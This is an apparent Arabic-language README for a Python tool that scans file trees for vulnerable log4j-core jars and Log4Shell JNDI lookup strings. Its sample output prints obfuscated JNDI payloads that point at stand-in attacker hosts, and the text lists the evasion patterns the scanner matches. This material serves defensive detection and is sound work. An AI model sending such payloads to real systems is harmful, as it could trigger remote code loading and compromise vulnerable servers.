
ماسح خفيف الوزن يكتشف إصدارات Log4j الضعيفة ومؤشرات Log4Shell (CVE-2021-44228) في شجرة نظام الملفات.
أداة مسح دفاعية لا تعتمد على أي تبعيات خاصة بـ Log4Shell — تكتشف ملفات jar لـ log4j-core الضعيفة وأنماط استغلال JNDI في السجلات وملفات التهيئة.
خلال فترة عملي في CERT-In، عملت على تحديد التهديدات، واحتوائها، ومعالجتها، والبحث عنها — وهو نفس سير العمل الذي تطلبه Log4Shell (CVE-2021-44228) على نطاق واسع في ديسمبر 2021: العثور على كل نسخة ضعيفة من log4j-core عبر المنظومة، والبحث في السجلات عن محاولات استغلال ${jndi:...}. يعيد هذا الماسح الضوئي بناء سير العمل الدفاعي هذا في نص برمجي واحد محمول باستخدام مكتبة Python القياسية، ولا يحتاج إلى تثبيت أي شيء على المضيف الذي يفحصه.
.jar / .war / .ear.pom.properties و MANIFEST.MF من داخل كل أرشيف باستخدام zipfile، ويعود إلى اسم الملف كحل احتياطي؛ ويميز log4j-core الحقيقي عن ملفات jar غير المرتبطة.${jndi:ldap:// وعمليات الإخفاء الشائعة (${${lower:j}ndi:…}، و j}ndi: بفصل الأقواس، و ${::-j}).JndiLookup.class، بالإضافة إلى إرشادات مراقبة الحركة الصادرة.log4j-core-2.14.1.jar ضعيف مزيف (zip حقيقي يحتوي على pom.properties لـ log4j-core)، وملف 2.17.1.jar مصحح، وملف jar غير مرتبط، وسجل يحتوي على حمولات JNDI.--demo — ينشئ شجرة العينات ويمسحها ضوئيًا من البداية إلى النهاية.os، re، zipfile). لا تبعيات.Python 3 (مكتبة قياسية فقط: argparse، os، re، zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# لا توجد تبعيات لتثبيتها
شغّل العرض التوضيحي على شجرة العينات المرفقة:
python log4shell_scan.py --demo
المخرجات المتوقعة (مختصرة):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
امسح أي دليل مرخص لك بتقييمه:
python log4shell_scan.py /path/to/deployed/app
رمز خروج العملية هو 1 عند العثور على أي شيء ضعيف أو مشبوه، و 0 عند نظافته — مناسب للبوابات (CI/pipeline).
أعد بناء شجرة العينات في أي وقت:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # الماسح الضوئي + منشئ شجرة العينات + واجهة السطر
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # ملف jar ضعيف مزيف (zip حقيقي)
│ │ ├── log4j-core-2.17.1.jar # ملف jar مصحح
│ │ └── commons-lang3-3.12.0.jar # ملف jar غير مرتبط
│ ├── logs/
│ │ └── access.log # يحتوي على حمولات JNDI
│ └── config.properties # غير ضار (لا ينبغي أن يطابق)
├── README.md
├── LICENSE
└── .gitignore
للاستخدام التعليمي والدفاعي والمصرح به فقط. استخدمه فقط على الأنظمة والقطع التي لديك إذن بتقييمها. يقوم الماسح الضوئي بالقراءة ومطابقة الأنماط فقط — لا ينفذ أو يستغل أي شيء أبدًا. ملفات jar المجمعة في العينات هي عناصر نائبة مصنعة، وليست قطع أثرية حقيقية من Apache، وجميع أسماء المضيفين للحمولات تستخدم أسماء .test غير قابلة للتوجيه. تم توفير تعيينات الإصدارات إلى الثغرات (CVE) للتوجيه فقط؛ تحقق من النشرات الرسمية للثغرات والنشرات الأمنية من Apache Log4j.